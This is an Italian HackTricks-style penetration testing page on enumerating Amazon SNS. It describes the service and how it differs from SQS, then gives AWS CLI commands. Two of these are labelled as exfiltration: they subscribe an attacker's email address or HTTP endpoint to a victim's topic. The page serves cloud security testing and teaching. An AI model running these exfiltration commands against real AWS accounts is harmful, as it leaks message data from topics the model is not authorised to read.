# AWS - SNS Enum {{#include ../../../banners/hacktricks-training.md}} ## SNS Amazon Simple Notification Service (Amazon SNS) è descritto come un **servizio di messaggistica completamente gestito**. Supporta sia i tipi di comunicazione **application-to-application** (A2A) che **application-to-person** (A2P). Le caratteristiche chiave per la comunicazione A2A includono i **meccanismi di pubblicazione/sottoscrizione (pub/sub)**. Questi meccanismi introducono **argomenti**, cruciali per abilitare messaggi **push-based** ad alta capacità, **many-to-many**. Questa funzionalità è altamente vantaggiosa in scenari che coinvolgono sistemi distribuiti, microservizi e architetture serverless basate su eventi. Sfruttando questi argomenti, i sistemi di pubblicazione possono distribuire messaggi in modo efficiente a un **ampio numero di sistemi di sottoscrizione**, facilitando un modello di messaggistica fanout. ### **Differenza con SQS** **SQS** è un servizio **basato su coda** che consente comunicazioni punto a punto, garantendo che i messaggi siano elaborati da un **singolo consumatore**. Offre **consegna almeno una volta**, supporta code standard e FIFO, e consente la retention dei messaggi per ripetizioni e elaborazione ritardata.\ D'altra parte, **SNS** è un servizio **basato su pubblicazione/sottoscrizione**, che consente comunicazioni **one-to-many** trasmettendo messaggi a **più sottoscrittori** simultaneamente. Supporta **vari endpoint di sottoscrizione come email, SMS, funzioni Lambda e HTTP/HTTPS**, e fornisce meccanismi di filtraggio per la consegna mirata dei messaggi.\ Sebbene entrambi i servizi consentano il disaccoppiamento tra i componenti nei sistemi distribuiti, SQS si concentra sulla comunicazione in coda, mentre SNS enfatizza i modelli di comunicazione basati su eventi e fan-out. ### **Enumerazione** ```bash # Get topics & subscriptions aws sns list-topics aws sns list-subscriptions aws sns list-subscriptions-by-topic --topic-arn # Check privescs & post-exploitation aws sns publish --region \ --topic-arn "arn:aws:sns:us-west-2:123456789012:my-topic" \ --message file://message.txt # Exfiltrate through email ## You will receive an email to confirm the subscription aws sns subscribe --region \ --topic-arn arn:aws:sns:us-west-2:123456789012:my-topic \ --protocol email \ --notification-endpoint my-email@example.com # Exfiltrate through web server ## You will receive an initial request with a URL in the field "SubscribeURL" ## that you need to access to confirm the subscription aws sns subscribe --region \ --protocol http \ --notification-endpoint http:/// \ --topic-arn ``` > [!CAUTION] > Nota che se il **topic è di tipo FIFO**, possono essere utilizzati solo gli abbonati che utilizzano il protocollo **SQS** (HTTP o HTTPS non possono essere utilizzati). > > Inoltre, anche se il `--topic-arn` contiene la regione, assicurati di specificare la regione corretta in **`--region`** o riceverai un errore che sembra indicare che non hai accesso, ma il problema è la regione. #### Accesso Non Autenticato {{#ref}} ../aws-unauthenticated-enum-access/aws-sns-unauthenticated-enum.md {{#endref}} #### Escalation dei Privilegi {{#ref}} ../aws-privilege-escalation/aws-sns-privesc.md {{#endref}} #### Post Sfruttamento {{#ref}} ../aws-post-exploitation/aws-sns-post-exploitation.md {{#endref}} #### Persistenza {{#ref}} ../aws-persistence/aws-sns-persistence.md {{#endref}} ## Riferimenti - [https://aws.amazon.com/about-aws/whats-new/2022/01/amazon-sns-attribute-based-access-controls/](https://aws.amazon.com/about-aws/whats-new/2022/01/amazon-sns-attribute-based-access-controls/) {{#include ../../../banners/hacktricks-training.md}}